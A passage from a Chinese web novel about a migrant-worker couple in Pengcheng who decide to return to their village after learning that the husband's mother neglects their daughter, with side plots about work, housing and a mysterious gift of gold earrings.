“小秋他外婆吃了吗?”王海燕走过去打招呼,面对外人的时候她一贯表现得直爽大方、心直口快的样子,“怎么这个点才来,今天家里吃烧鸭呢,你该早点来,还能跟我们一起吃点!” “我就是吃饱了随便来看看,”往常即使两家离得近,作为女儿娘家的长辈邓细妹也是不常来的,“顺便跟小秋和小夏他们爷爷奶奶商量一下,过几天带他们去吃满月酒。” 王海燕一听是吃席,眼睛就亮了,按他们这里的习俗,吃席是可以打包好肉回来的:“满月酒?去谁家?” 邓细妹说:“我小女儿,也就是小秋小夏的三姨家。” “嫁到省城那个?哎哟,那满月酒不得办上百桌啊?” 邓细妹摆手:“不是嫁到城里,只是省城周边的村子,也是普通人家。” 两人正说着,黄秀华也出来了。 邓细妹正好跟她商量:“如月跟她小妹没出嫁前关系最好,她跟绍明在鹏城回不来,我就想着让小秋和小夏代表他们爸妈去一趟。” 两个孩子都还小,黄秀华有点犹豫:“带他们去,坐车挺麻烦吧?” “不麻烦,我们赵家族里好几个人一起去,商量好了包一辆面包车,直接从家里出发,不用转车,”邓细妹顿了顿,补充道,“上礼的钱,如月今天寄给我了。”意思是,不用黄秀华从他们寄回来的生活费里出。 她这么一说,黄秀华就没再反对。 * 鹏城这边,赵如月和宁绍明难得在外面下一回馆子,两个人却都有些食不下咽。 他们原本打算给家里寄钱打电话后,趁着时间还早,顺便在外面逛逛街。 可现在谁也没了逛街的心情,吃过饭就回去了。 几天后,宁绍明已经返工,赵如月继续待在家里休养。 宁时秋和宁时夏也穿上他们最好的衣服,开开心心地跟着外公外婆坐上大汽车吃席去! 20-30 第21章 餐饮行业上班的时间跟其他行业不一样,别人下班吃饭的时间,正是他们忙碌的时候。 宁绍明动了个小手术,这些天比较注意不让自己太累,没有以前那么拼了,因此没少被一些人说酸话。 好在他怎么也算个师傅了,技术也过硬,那些酸话对他没多大影响,只是多少有些影响心情。 他又不是爱跟人争辩的性格,有时不小心听到,也只闷在心里,那感觉不好受,但还能忍。 只是好几个让他不小心听到的人,似乎都是厨师长的徒弟,这让宁绍明隐隐有些不安。 赵如月提前去邮局买电话卡,排队,等下午两点多三点这个时间段,吃饭的客人减少,轮到后厨的人吃饭。 宁绍明没跟同事一起吃员工餐,他打包了两份饭往邮局赶去。 他到的时候,赵如月已经儿女、父母和妹妹聊了有一会儿。 见宁绍明来了,赵如月把话筒交给他,她虽然不怎么饿,也接过一份饭到外面去吃。 电话的那头是岳父岳母,宁绍明跟他们也聊了几句,那边的话筒就交到了他的儿女手上。 宁时夏上次跟爸妈通过电话,觉得那次哥哥没赶上,这次应该让哥哥多跟爸妈说说话才公平。 她拿到话筒只跟爸爸妈妈打了个招呼,就跑出去跟三姨家的表姐表哥们玩了。 宁绍明跟以前一样,先是问儿子在家怎么样,有没有听爷爷奶奶的话,去学校上学有没有认真读书,平时有没有帮着爷爷奶奶照顾妹妹? 宁时秋都一一回答了,宁绍明夸了他几句,觉得儿子很懂事,应该多给他个奖励。 就问儿子:“上次我跟你妈给家里打电话,小夏应该跟你说了吧?等我们回去会给你买一辆自行车,除了这个,你还有没有什么想要的?” 宁时秋想了想摇头,摇头完想起爸爸看不见,忙对着话筒回答:“不用,我什么都不缺,不过……” 他停顿了一会儿,宁绍明耐心等着。 宁时秋左右看看,发现外公外婆和三姨不知道什么时候全都出去了,屋里只剩下自己一个人,才放心对电话那头的爸爸说:“你跟妈妈多给妹妹买点衣服裤子和鞋子吧,我看妹妹冬天穿的衣服裤子都短了一小截,她还说鞋子挤脚,走路快了脚疼,她都不敢跑步了。” 衣服裤子短了?鞋子挤脚? 宁绍明诧异地想,之前老家刚入冬的时候,他妈给他们打电话,说两个孩子去年的衣服鞋子都不能穿了,让他们多寄点钱,给两个孩子买过冬的衣服。 这才过去一个多月,没道理孩子的新衣服就穿不下了,更何况老人给孩子买衣服,总喜欢往大一号买,只有穿着太大,没有穿着短的道理。 可宁绍明了解自己儿子,才几岁就跟个小大人似的,聪明又懂事还特别靠谱,他不觉得自己儿子会撒谎。 “妹妹还在穿去年的衣服啊?”宁绍明问。 宁时秋又摇头说:“不是的,她穿奶奶从二伯家带回来的衣服,说是去年二伯家的妹妹生日,她舅舅姨姨们给她买的衣服,看着还很新,今年却穿不下了,奶奶就带回来给妹妹穿了。” 说着宁时秋感觉有点羞愧,奶奶带那些衣服回来的时候,也给他带衣服了。 他听奶奶说衣服是从二伯家带回来的,还以为自己的那些也是,毕竟那些衣服上都没吊牌,他就没多想。 反正周围小伙伴也没少穿哥哥姐姐们淘汰的旧衣服,大家都是这么过,从来没觉得这有什么不好。 后来宁时秋发现妹妹的衣服不合身,自己的穿着很合适,才意识到可能有问题。 二伯家只有一个比自家妹妹大一岁的二妹,二伯娘的娘家哥哥姐姐生的也都是女儿,哪来这么新、这么好的男孩子穿的衣服给奶奶带回来? 宁时秋对这事上心后,更注意观察身边人穿的衣服,陆续发现更多有问题的证据。 其中一个是在学校发现的,他有一件好看的外套,是今年才在同学们之间流行起来的花样。 于是宁时秋有些难过地意识到,特别疼自己的奶奶,竟然区别对待妹妹。 公平这两个字,对于孩子来说可太重要了,哪怕受到不公平对待的人不是自己,他依然十分难以接受。 更难受的是他还不知道该怎么办,不知道该跟谁说,因为家里其他人都没认为这是什么值得重视的事,觉得小孩子有的穿就不错,更别说还有这么多。 现在爸爸一问起来,宁时秋像是找到了倾诉的口子,一股脑把事情全倒出来了。 宁绍明在电话这头默默地听着,心像是被什么东西狠狠掐住,疼得很。 “爸爸知道了,”他喉咙有些干,语气艰涩,“等我和你妈妈回家,一定多给妹妹买几套衣服。” “还有鞋子,”宁时秋提醒道,“现在学校的小女孩流行穿一种白色的靴子,上面有白色毛毛还有须须垂下来,还有亮晶晶的钻石,妹妹跟我说羡慕别人的靴子好几次了。” 宁绍明一个大男人,这会儿听得都想哭:“好,都买。” 他说着话的同时,不禁在心里想,要是自己跟老婆在家,哪至于让女儿那样羡慕别人家的孩子? 靴子也许只是女儿羡慕别人有的其中一样,没说的可能更多,大概也不是什么很贵的东西。 如果他们夫妻俩在家,这点东西,他家孩子根本不需要眼巴巴地羡慕别人。 以前哪怕再穷,在孩子的吃穿和学习上,他们也从没含糊,没道理现在挣着钱了,自己的孩子却过成这样,还不如他们在家挣不到什么钱的时候呢! 而且儿子只说了妹妹羡慕别人有好看的靴子穿,却没提到他自己。 宁绍明往常总觉得儿子是哥哥,得有个哥哥的样子,要多照顾妹妹。 现在他突然意识到,儿子哪怕是哥哥,也还只是个才几岁大的孩子,他不该担起照顾妹妹的责任,那原本是父母该担的责任。 听到爸爸答应下来,宁时秋就放心了,爸爸妈妈从来没有说话不算话过,他很相信他们。 等电话卡的钱花完,挂了电话,也快到宁绍明上班的时间了。 赵如月看着他的神色不太好,但没多问,只让他赶紧填饱肚子:“快点吃,炒菜也是力气活,不吃饱可不行。” 宁绍明接过她拆开的一次性筷子,低头快速往嘴里扒饭,却感觉自己往常最喜欢的扣肉吃进嘴里没滋没味的。 赵如月坐在旁边的台阶上,看他吃了几口,又忽然停下,抬头看向她。 “小月,我们回家过年后,要不,还是不出来了吧?” 第22章 家里老娘克扣他给女儿买衣服的钱,对女儿不好这件事,让宁绍明太过震惊。 以至于他把今天给儿子打电话的最初目的——大嫂是不是经常在他们耳边乱说话这事,忘了个一干二净。 不过现在答案对他来说,已经不重要了。 连他亲妈都对他的孩子区别对待,更何况大嫂? “回就回吧,这事我没意见。”赵如月早就有回老家的想法,只是碍于宁绍明喜欢现在的工作,即便她知道,但凡自己提出来,宁绍明就极少有不同意的,她也一直没有明说。 毕竟回老家要想过得好,免不了动用到高家赔给她的那十万块钱。 赵如月知道宁绍明对这钱的看法,他肯定觉得那些钱算是她用命换来的,用来还欠债也就罢了,平时生活花销和建房子再用这些钱,他觉得不得劲。 感觉自己像个吃软饭的,吃的还是老婆的‘血肉’。 男人嘛,不管脾气多好,多少会有点爱面子的毛病,社会环境和成长环境如此,宁绍明算好的,却也沾染了少许这毛病。 按照宁绍明以前的想法,这笔钱能别用还是别用,就留着给赵如月傍身。 他们夫妻俩可以用今年存下的钱,偿还老家的欠款。 至于建房子的钱,明年、后年再攒两年,也够回去建房了。 老家材料成本低,建房的人手可以找邻居和他的那些发小兄弟们。 但是这些想法,在孩子受的委屈面前,全都得让路。 “孩子一眨眼就长大了,”赵如月坐在邮局外的台阶上,托着下巴看向远处,眼神却没有焦点,“我们刚出来一年不到,现在孩子们还跟我们亲得很,可等过几年,孩子遇到事,爸妈摸不到、碰不着、帮不上,离着他们那么远,不大不小的事,不等我们赶回去事情都解决了,最后大概只能选择不回去,在电话里安慰一两句,一个不留神,孩子可能就跟我们不亲了。” 宁绍明顺着她的话,想象那样的未来,明明下午太阳十分灿烂,他却打了个冷颤,心脏抽痛。 “我下午就去跟经理说,干到腊月二十三就不干了。”钱什么时候都能挣,孩子的成长错过就是错过了,可没有后悔药吃! 赵如月拍了他一下:“你傻呀!拿了年终奖和年终过节福利再说!提前说酒店不准备你那份怎么办?” 宁绍明还有些不好意思:“我才干不到一年就要走,怎么好意思拿那些……” “你工作的这几个月没认真干活?还是干得比别人少了?”赵如月可知道,他休息时间都去酒店帮忙的。 经理说给他加班费,他都坚决不要,现在拿个年终奖和过节福利怎么了? 虽然进去不到一年,那点年终奖八成也没多少,但是酒店的年终过节福利应该不错,不过这两个加起来也不够加班费的。 “那倒没有,我平时干的比其他师傅都多。”宁绍明说着,不禁想到最近听到的那些酸话。 他这时忽然意识到,自己以前认为其他师傅对自己升职那么快没意见,会不会只是自己以为? 再加上他休息日都去酒店帮忙干活,貌似也太过勤快了,这样似乎对同事不太友好? 宁绍明决定等会儿回去,隐晦地在厨师长面前透露一下,自己回老家过年后,不再来鹏城的事。 吃完不算午饭的午饭,宁绍明回去上班,赵如月回出租房休息。 她还在坐小月子呢,得再好好休息个十几天。 如果不是她身体好,身体早就没什么难受的地方了,做小月子也没生完孩子坐月子那么讲究,最近天气又暖和,这段期间她也不敢出门。 确定过年回老家后不再来鹏城,赵如月心头又一件大事放下,她休息得更好了。 宁绍明回去上班后,在忙过晚上酒店客流高峰期,轮到他们吃晚饭的时间,他趁着只有自己跟厨师长在的机会,跟厨师长闲聊拉家常。 两人闲聊间提到各自老家,宁绍明说几句就叹气。 厨师长追问了两三次,他才一脸为难地小声说:“我就是担心家里的孩子,爷爷奶奶带着总不如我们当爸妈的亲自带着放心,我跟我老婆打算过年的时候,回去看看情况怎么样,然后再做打算,要是老家那边还是不能让我们放心……” 他话没说完,厨师长也明白了,还意思意思地劝了几句,宁绍明一个劲地摇头叹气,他就没继续劝。 晚上下班,他发小黄文发还紧张兮兮地把他拉到角落,告诉他:“我偷听到有几个孙子,仗着在酒店有点关系,暗地里开小会密谋,想找你的茬,你这几天多注意点,别被人算计了!” 然而这天过后,那些说酸话的人一夜间消失无踪。 原本想给宁绍明找茬的几个人,仿佛跟他是多年认识的兄弟似的,哥俩好地经常给宁绍明打下手帮忙。 宁绍明甚至觉得工作期间,一切流程顺滑无比,那是他之前从没享受过的。 这时他才后知后觉,自己貌似并不是近期才被人为难。 只是他第一次做后厨的工作,在这方面又有点迟钝,才没察觉出来。 宁绍明想想竟然觉得有点好笑,他回去还当个笑话说给赵如月听:“后厨那些打下手的人,背地里耍小动作,我一点反应都没有,他们估计也纳闷,自己的手段怎么没派上用场。” 赵如月也觉得他心大:“真是傻人有傻福,幸亏你们酒店领导对后厨管得严,那些人也只能耍耍这点上不得台面的小手段,还不敢真的耽误你工作,要不然就是他们自己吃不了兜着走了,他们心里肯定郁闷死。” “可不是么,不过也不是所有人都看我不顺眼,在背地里耍手段,大部分同事还是很好的。”宁绍明依然有点舍不得现在的工作,但这点不舍跟孩子比起来,已经无关紧要。 时间会将它们冲淡,最后变成打工生涯的美好回忆之一。 辞职这事,宁绍明可以暂时不跟酒店里的其他人说,却不能瞒着自己的发小黄文发。 毕竟当初是他先来酒店干活,觉得酒店后厨待遇不错,又带着发小一起来。 总不能他一声不吭走了,把发小一个人撂在这里,怎么也得提前说一声。 黄文发听宁绍明说,要放弃酒店后厨的高薪工作回老家这事之后,脑子懵懵的。 虽然两人从小一起长大,但黄文发一直无法理解兄弟这一点,他这兄弟怎么总跟个女人一样,发现孩子受点委屈就接受不了,难受得像是他自己受了多大委屈一样。 孩子是由亲爷爷奶奶带着,老人又没虐待孩子,受这点委屈算得了什么?哪个当家长的不偏心?差不多过得去就得了! 现在的孩子过得再不好,能有他们小时候艰难? 他觉得兄弟这回真的是本末倒置了,男人不就应该在外面打拼,多挣点钱吗? 多挣钱才能给孩子更好的生活,分隔两地怎么了?现在谁家不是这样? 黄文发看向宁绍明身边的赵如月,赵如月正在吃水果。 那些水果,全是宁绍明洗干净,该剥皮的剥皮,该切的切成小块,放盘子里让她用叉子插着吃的。 这兄弟媳妇,成天事多娇气得很,不知道的还以为她是什么大小姐,也就宁绍明受得了她。 赵如月注意到黄文发的目光看向自己,用头发丝思考都知道他在想什么。 她翻个白眼瞪过去:“看什么看!你不会以为是我闹着要回去,他才非要回去吧?” 第23章 “除了你,还能有谁劝得动他回去?难不成是我啊?”黄文发跟赵如月也是发小,他俩小时候调皮犯贱招惹她,经常被她揍得嗷嗷叫。 互相之间熟得很,说话从来不知道什么叫客气。 “放狗屁!”赵如月毫不客气地怼回去,“少冤枉人,这回看在小丽的面子上,我不跟你一般见识。” 要是在小时候,她一脚就踹过去了。 但是现在大家都结婚了,关系再好也得注意分寸。 宁绍明看兄弟误会了,赶忙解释:“这事真是我自己的想法,小月听我的。” 黄文发一脸嫌弃:“得了吧,还她听你的,你就是那个什么……后厨四川来的那个靓仔说的,那个什么来着?哦对,耙耳朵!” “什么耙耳朵!就算是耙耳朵又怎么了!”不等宁绍明继续解释,赵如月已经为自己老公出头,“鹏城人都说,男人听老婆的话,会发达!” 黄文发的老婆吴丽坐他身边,猛地扑过去按住他:“小月,不用顾着我面子,我帮你把他按住,你收拾一顿他个嘴欠的!” “你怎么胳膊肘往外拐!”黄文发大声抱怨,“你看看人家夫妻俩,多团结!” 吴丽:“就你这嘴,谁能跟你团结得起来!” 他们夫妻俩打打闹闹,旁边两个也不去劝。 认识这么久,都知道他们夫妻俩的相处模式就是这样,谁去劝谁倒霉,让他俩闹一会儿也就停了。 确认宁绍明辞职的决定真的不会更改,黄文发也不好再多说多劝。 只能尊重兄弟的决定,做好以后没有熟人在后厨帮忙的心理准备。 他们已不是年轻气盛的少年人,不会意气用事地说什么兄弟走自己也跟着走,毕竟现在都是有家有口的人,得更多地为自己的家庭考虑。 这个工作比在工厂里轻松,工资高、福利待遇好。 只凭这些,就算在做菜上再没天分,只能一直做打荷的活,他也得坚持下去。 “别的都好说,只是房子又要重新找了。”黄文发有点发愁。 这房子采光不太好,但位置是真好。 离公交站、商场、超市、步行街、菜市场、医院都很近,步行都能到,去黄文发和吴丽上班的地方,乘公交车去也不算远。 房子看起来旧是旧点,实际保持得还是很不错的。 它最大的缺点就是房租贵,合租比较划算,单一家租的话,花费的房租,对他们这种只在睡觉时间和难得的休息时间,才待在家的人来说,有点划不来。 宁绍明心里挺过意不去,就说:“改天我帮你问问房东,看看他在附近有没有空着的单间。” “别的不说,单间肯定有啊,”赵如月说,“就怕你们嫌晦气,不想租。” “你的意思是……”宁绍明跟赵如月对了个眼神,明白了她在说哪间。 黄文发看看这个又看看那个:“你们俩别打哑谜啊!” 宁绍明告诉黄文发:“她说的是卢秋英和孙洪光之前租的那间,那两个人犯事进去,房东已经把他们的房子收回来,不租给他们了。 房子里的东西被我砸坏,房东扣了他们的房租和押金当赔偿,正打算用那些赔偿给那间屋子换几样新家具。” “有新家具,那倒是挺不错的,”黄文发也去过那间房,“就是面积小了点,采光也不如我们这间。” 吴丽不想搬到陌生的片区,去别的地方租房,又要费劲重新跟不知好坏的新房东打交道。 她说:“我觉得那房子挺好,人家房东的房子,只是租给卢秋英他们俩住,又不是给他们了,怕什么晦气,租谁的房子都是租,换了别的地方难道就很好? 这个房子只是上一任租客犯了事,换另一家,万一以前房子里死过人,我们也不知道啊!” 黄文发若有所思地点头:“这话有道理。” “这事宜早不宜迟,我明天就去帮你们问问房东?”赵如月放下叉子,“反正我在家闲着也是闲着,你们最好早点定下来,免得房东租出去了。” 宁绍明附和道:“对,最好过年回家前就定下来,要不过年后来鹏城打工的人多,找房子租的人也多,到时候合适的房子不好找不说,没准房租还要涨。” 吴丽看向赵如月:“那麻烦你了小月。” * 赵如月去找陆发的时候,陆发听她说,他们夫妻俩过完年就不来了,觉得十分可惜,还反复劝了好几次。 甚至提出给他们免费住现在租的房子,可赵如月回老家的心十分坚定,陆发劝不动只好作罢。 不过之前宁绍明交的三个月租金,还有以前交的押金,陆发说什么都要现在就退给她。 赵如月也不矫情地跟他客气了,一个月房租六百,分到两家人头上,每家三百,三个月的房租加上退回来的押金,比她一个月的工资还多呢。 先前陆发带着家人跟周家一起,正式去给赵如月夫妻俩道谢的时候,没提房租的事。 他原本是想减免一部分房租,又怕赵如月和宁绍明两个老实人觉得不好意思,会拒绝这个提议。 于是想着等三个月以后,他们交房租的时候再和他们提这个事,以后他们租多久就给他们减免一半房租多久,彻底还上人情,没想到他们年后就不来了。 陆发感觉十分遗憾,心里琢磨着,要从其他地方补上。 “你们回老家有没有想过做什么营生?”陆发斟酌了一会儿,问赵如月,“不会回去还继续种地吧?种地可挣不了多少钱,又辛苦得很。” 他知道高家给了他们夫妻俩一笔赔偿款,但不知道具体金额。 他跟以前赵如月认为的那样,以为顶多给个三五万的,这点钱想多花两年都得特别节省地花。 陆发就想着,不如趁这个机会,彻底把欠他们夫妻的人情还上,要不心里总惦记这事。 赵如月听话听音,完全没料到来这一趟竟然还有这样的惊喜。 她意识到,房东可能是想给他们介绍一个,他们在老家也能做的小生意。 赵如月试探着说:“我们还没想好,不过我家绍明有手艺,回去后可能先摆个摊试试水,要是生意不错,就开个小店。” 她说话的时候注意着陆发的神色,发现他听完自己的话,露出有些遗憾的表情。 立刻补充道:“他擅长厨房里的活计,我不太擅长,可能我也自己弄个小摊摆摆,卖点小商品。” “这就对啦,做点小生意,就算挣得不多,也比面朝黄土背朝天好,”这下陆发觉得自己能帮上忙,神色好多了。 他笑着说:“我家和周家有好几个开工厂的亲戚,你们要是没有合适的货源,可以去他厂子里批发,我介绍过去的人,不管拿多少货,他都一定给你们最低的出厂价,等你们什么时候有空,我可以先带你们过去看看。” 赵如月压制住激动的心情说道:“那太好了,多谢你帮忙牵线,到时候我让绍明早几天辞工,等进了一月份,人家厂里不那么忙,再跟你去看看,可以吗?” “可以可以。”陆发乐呵呵地应下,“到时候你们提前一天跟我说就行。” 第24章 这天晚上,宁绍明下班回来,兜头就被这个完全没想过的惊喜砸晕了。 他做出回老家这个打算的时候,确实想过回去后靠着手艺在老家混口饭吃。 但完全没想到过走卖小商品这条路,毕竟拿是他从来没有接触过的领域,他有些不自信。 “我们以前没做过这个,贸然去做真能成吗?万一亏本怎么办?” 他上来就说丧气话,赵如月很想怼他。 但看在他平时对自己那么好的份上先忍了:“没试过怎么知道做不成,亏就亏呗,在老家实在不行还能种地,再亏也饿不死。 不过我知道你对这方面不擅长,以后你还是做你的餐饮,我来卖小商品。” 宁绍明还是不太乐意:“那我们俩不是得分开?” 他看别人做买卖,不管是摆摊还是开店,刚起步的时候都是夫妻档,一家子劲儿往一处使。 “我又不跑外地去,怎么就是分开了?”赵如月觉得不怼一下这家伙真不行,“我们俩以前一个在厂里干活,一个在酒店干活,离那么远,也不见你这样,怎么一说老家就成没断奶的娃了?你都这么大年纪了,还没断奶,离不开新‘娘’啊?” 宁绍明听到后面没忍住笑出了声,抱住赵如月隔着被子,故意把头埋进她胸口:“我可不就是离不开么。” 被怼还笑得那么灿烂,赵如月算是知道了,男人就是欠,以后该怼就不该忍着。 她伸出一根食指,点住宁绍明的额头,把他推到床的另一边去:“你可给我消停点,现在我们俩都是负伤人员,那些少儿不宜的事,别说做,想都不许想!” 宁绍明顺势躺下,侧头看向赵如月:“真决定了要卖小商品?家里不一定支持我们做小买卖,而且用家里的地方,我那些兄弟嫂子们肯定有意见,除非把这生意做成公中的生意,但你肯定不乐意。” 赵如月说:“那当然,现在看起来是没正式分家,可你们兄弟三个已经各自成家了,按照老家的规矩,那就算三家人,混在一起,以后这事说不清楚。” “街上的店面不好找,近些年大家都知道做生意挣钱多,临街和靠近即使的房子人家都自己开店做小买卖了,没什么人转店铺,出租的也少。 找不到合适的店面,又没法用家里的地方摆货,你可能真得去街上的集市摆小摊。“宁绍明真正担心的是这个。 他也是出来城里之后才发现,他们老家有些现象奇怪得很。 就说做生意这事,要是谁要是一上来就开店,并且成功站位脚跟挣到钱了,很多人都会认为这个人有本事,正经是个老板。 要是谁一开始只是摆小摊,没个门面,绝大部分人面上笑呵呵叫他老板,背过身却会在暗地里议论人家,觉得摆摊真丢人现眼,能挣到钱也会被人看不起。 在老家人,尤其住在街上的人眼中,一旦谁摆摊,就仿佛多了一个不能考公的人生污点似的,很离谱。 提到谁摆摊挣钱,给家里添了什么好东西,有些人总会来一句:不就是个摆摊的,有什么出息,在街上摆摊,全家人的脸都让他丢完了。 刚开始做生意就开门店,与摆摊后挣了钱,再开店之间,他们也要比较个高低。 即使刚开始做生意就开店的那个人亏本,他们依然觉得,他就是比摆摊挣到钱再开店的人厉害、有面子。 最后形成了一个奇怪的鄙视链,一直摆摊,挣了钱也不搞店面的人,成为了鄙视链的最底层。 不过宁绍明见得多了,心里很清楚,许多维持这条鄙视链的人,说白了,就是装模作样的穷讲究,外加嫉妒人家能挣钱。 宁绍明对此无法理解,但如果他们以后要长期待在老家,还要做老家人的生意,自家孩子也还要跟街上的小孩玩,有些事就不能别人硬顶着来。 他原先打算,回去后在家里那块空着的宅基地上,先建一个小平房,自己买砖块和水泥,简单搭建,花不了几个钱。 那个空宅基地暂时用不上,他们临时用一段时间,家里其他人不会有意见。 等小平房建好,他就在那里卖吃的,卖吃的有手艺门槛,家里其他人想抢都没法抢。 而且卖吃的,一开始不用多大的店面,建个能做饭、能放两张折叠小木桌的平房就行。 客人多的话,可以在宅基地没用上的空地,多摆几张桌椅,下雨撑篷布挡挡就行。 如果他们夫妻俩分开干,就要多建一间,他觉得划不来。 宁绍明跟赵如月说了自己之前的打算。 赵如月稍微一琢磨就明白了,他为什么觉得划不来:“你是担心分家的时候不好办?” 宁绍明笑着说:“我就知道你能明白我的意思,当初去你家提亲的时候,我爸妈亲口答应岳父岳母,以后会给我们分临街的房子,岳父岳母才答应让你嫁给我,但事情过去那么多年,就怕有意外。” 毕竟他是家里最小的儿子,分家应该在他结婚之后就进行,最迟也就是他有孩子之后。 可这件事,拖到他小闺女都能上学了。 赵如月斟酌了一会儿说:“其实我们回去就分家,直接要那块空地,自己建房,也不是不行。” “你认真的还是开玩笑?”宁绍明惊得坐起来,“不怕岳父岳母生气啊?” 她不怕她父母生气,他可还怕老丈人和丈母娘打上门来收拾他! 赵如月好笑地看他:“怕什么,我爸妈又不是不讲理的人,我们好好跟他们解释,他们会理解我们的。” “不管怎么说,我们真选了那块空地自己建房,这事也是我家出尔反尔,就算他们能理解,心里多少也会有点不高兴。”宁绍明心里仍然有顾虑,不过最让他不甘的,还是老房子的位置实在很好。 开门就是街,把一楼简单改一改,直接就能做生意,而这原本是他们可以拿到手的东西。 赵如月想劝他,以后空宅基地那地方,会比现在镇上的几条街更适合做生意。 张了张嘴,又不知道该怎么说,她找不到合适的借口,说出自己预知的未来。 因为那些当地的政策,不是现在的自己能知道的事,她身边没有任何信息来源的渠道。 她惆怅地关了灯躺下,盯着黑漆漆的蚊帐顶看半天,一点睡意都没有。 宁绍明看不到赵如月的表情,见她不说话,以为她生气了,忙说道:“现在谈这些还早,不管我们要做什么,都要等到过完年才能做,还有很多时间可以慢慢商量。” 接着又说起孩子,企图用孩子的事转移她注意力:“我们现在该好好想想过年要带回去的东西,给孩子们买的滑板和自行车,是在这边买了带回去,还是回老家县城再带孩子们去买?” 孩子? 对呀,还有孩子! 赵如月福至心灵,孩子也是家里的一份子,选全家人住的地方,怎么能不问问孩子们的意见! 第25章 赵如月想起上辈子分家的时候,小秋和小夏就更喜欢那个空宅基地! 不过上辈子他们分家,已经是几年后。 他们家确实争到了临街的房子,但那时候,宁家现在的砖瓦老房子已经被推倒重建。 他们乡下人建房子,说不上什么审美不审美的,周边的人怎么建的房子、建成什么样,他们就建成什么样,没想过搞个不一样的。 在乡镇就是这样,这个环境对于跟别人不一样的东西,包容性不强,特立独行只会变成别人口中的笑话和谈资。 而且就算谁真不在乎别人的眼光,想学城里别墅的样子来建,也找不到合适的施工队。 乡下的施工队就是邻居、亲戚之类的熟人,要求搞点不同的花样,人家也不知道怎么搞,还会被嫌麻烦没事找事,到时候一个个都会来劝你,别瞎搞。 除非真的非常有钱,不计成本,去请城里的施工队来做。 上辈子他们新建的房子就跟大多数邻居一样,是一栋一栋紧贴在一起的楼,特别像鹏城现在一些新建起来的城中村楼房。 为了能多做出两个房间,前院后院和中间的天井都没了。 为了省钱,还跟隔壁大嫂家公用中间的一堵墙,隔音效果实在不怎么样。 左邻右舍贴得太近,家里有点什么事,别想瞒着邻居。 家里两个孩子不止一次说过,羡慕某个同学家有院子,周边还跟邻居隔着一段距离,清净得很,停车还特别方便。 反观老宅在的那条街,因为这时候建房规定没那么严格,每家建房的时候都想偷偷多占点地,各家偷偷占一点,好好的一条街,后来都快挤成胡同了。 赵如月打定主意,回去后先探探两个孩子的口风。 看看提前分家的话,他们的选择是不是还跟上辈子一样。 心里有了主意,她暂时把那些事情放下,顺着宁绍明的话,跟他讨论起回家要买的东西。 “别的我还要再想想,滑板和自行车这边便宜很多,我们买了带回去,省下的钱,等回去后也带两个孩子去县城玩一趟,就光带着他们玩,别的不管,让他们尽情地玩一回!在县城买自行车的话,去玩带着就不方便了。” “这个主意好,你真聪明!”宁绍明毫不吝啬地夸赞老婆,“我就想不到应该这么做,孩子们到时候肯定特别高兴!” 赵如月被他夸得哭笑不得,这人把她当孩子哄呢? “行了,你明天还要上班,快睡吧。” 一夜无梦,宁绍明一大早又上班去了。 赵如月在家慢慢收拾东西,把要带回去的东西,放他们现在住的房间里。 带不回去和不打算带回去的东西,全拿出来放在客厅,让吴丽夫妻俩先挑,剩下的过几天统统送人。 不收拾不知道,一收拾起来,才懂得什么叫破家值万贯。 才来一年,他们的东西竟然也有那么多。 年初他们刚来的时候,总是怕缺这个少那个,两个人仗着身强力壮,恨不得把全部家当都咬着牙扛来,各种东西大包小包跟逃难似的。 东西占车子存行李那地方的位置太多,还被司机翻白眼嘲讽了几句。 赵如月算一算回去的时间,那时候她的身体还没法恢复到没受伤前的样子。 来时由她负责扛的东西,回去时肯定带不回去了,更别说还要买不少东西带回去。 毯子、褥子、厚被子、四件套、枕头等等体积大又难拿的,赵如月不打算再扛回去。 那些大部分都是她嫁妆里的东西,质量很好。 当年她父母给她陪嫁的东西多,结婚好几年,都还有没拆封用到的东西。 来鹏城的时候,她特地挑没用过的那部分带来的,满打满算,用了不到一年。 可赵如月现在已经不会觉得不舍。 上辈子都用过一回了,现在家里又还有,没必要为了这些东西硬撑,压迫自己尚未恢复好的身体。 赵如月分拣得正起劲,忽然有人敲门,把她吓一激灵。 经过卢秋英那件事,她现在对敲门声有点心理阴影。 缓了缓才起身去看看是谁。 她走到门口,开门一看,竟然是个十分面嫩的小姑娘,看着年纪比房东的孙女还小。 赵如月看着这小姑娘,觉得面熟,但没记起来她的名字,应该也是老乡。 不过记不起名字,也不耽误交流,说话不加称呼就行,她不动声色地隔着门问:“你找我有事?” 小姑娘知道赵如月最近遇到的事,也不介意她没开外层的铁门。 她通过铁门两条铁栏杆之间,塞进来一个黑色小塑料袋,卡在铁门间隙放着。 又放了一大袋水果在门口:“姐,你帮了我大忙,这些是我的一点心意,请你一定要收下!” 小姑娘飞快说完,放下东西就跑,赵如月听她说的那些话听得一头雾水,没反应过来怎么回事,人已经跑没影了。 搞不清楚情况,她也不敢贸贸然追出去,只好把东西先拿进屋里。 赵如月关上门,走到客厅坐下,顺手打开那个小姑娘塞在门上的黑色小塑料袋。 里面竟然还有一个巴掌的红色天鹅绒金色抽绳的小袋子,这种袋子她之前只在金店见过。 赵如月心想,不会吧,这个不熟的小老乡,不会真给自己送金子吧? 她隔着袋子摸了摸里面的东西,摸到两个小圈。 打开袋子倒出来一看,竟然真是一对素圈金耳环! “这这这……”赵如月瞪大了眼睛,看着被倒在手心的金耳环。 她完全无法想象自己到底帮了那个小姑娘什么忙,人家才会给自己送这么重的礼。 没搞清楚具体情况,这会儿赵如月拿着金耳环,只觉得十分烫手。 收到这份礼之后,赵如月整理东西总是无法专心,一直分心回想那个小姑娘到底是谁。 可实在想不到,只能大概圈出一个范围。 首先肯定是老乡,其次小姑娘身边应该没有长辈,大概率是跟相熟的小姐妹一起出来打工的,要不然长辈不可能让她一个小姑娘自己来。 然而她缩小了范围,还是没能猜出到底是谁。 收到金耳环这事,赵如月不敢让外人知道,只能等晚上宁绍明回来,悄悄跟他说。 宁绍明不像记忆与现在隔了几十年时光的赵如月,她形容了一下那个小姑娘的外貌特征,宁绍明马上就猜到知道是谁了。 “听你描述,应该是家住码头那边,那个二婚娶了个厉害老婆的老范家的大女儿,好像是叫范小蓉,我记得老范这个大女儿是前妻生的。” 宁绍明来鹏城之前,就在码头附近的砖厂干活,老范是他以前的工友: “我跟老范关系一般,不过他跟我大哥同龄,他们俩也算是发小了,倒是常混在一起玩。 码头离我们家那两条街有点远,老范这个大女儿听说也很少出门,所以你觉得她面熟,可能是没跟她打过交道,但在上街买东西的时候偶尔见过。” 在他们那小地方,夫妻吵架都能上镇头条,更别说离婚这么大的事。 宁绍明一说到家住码头附近,在砖厂干活的那个工友老范。 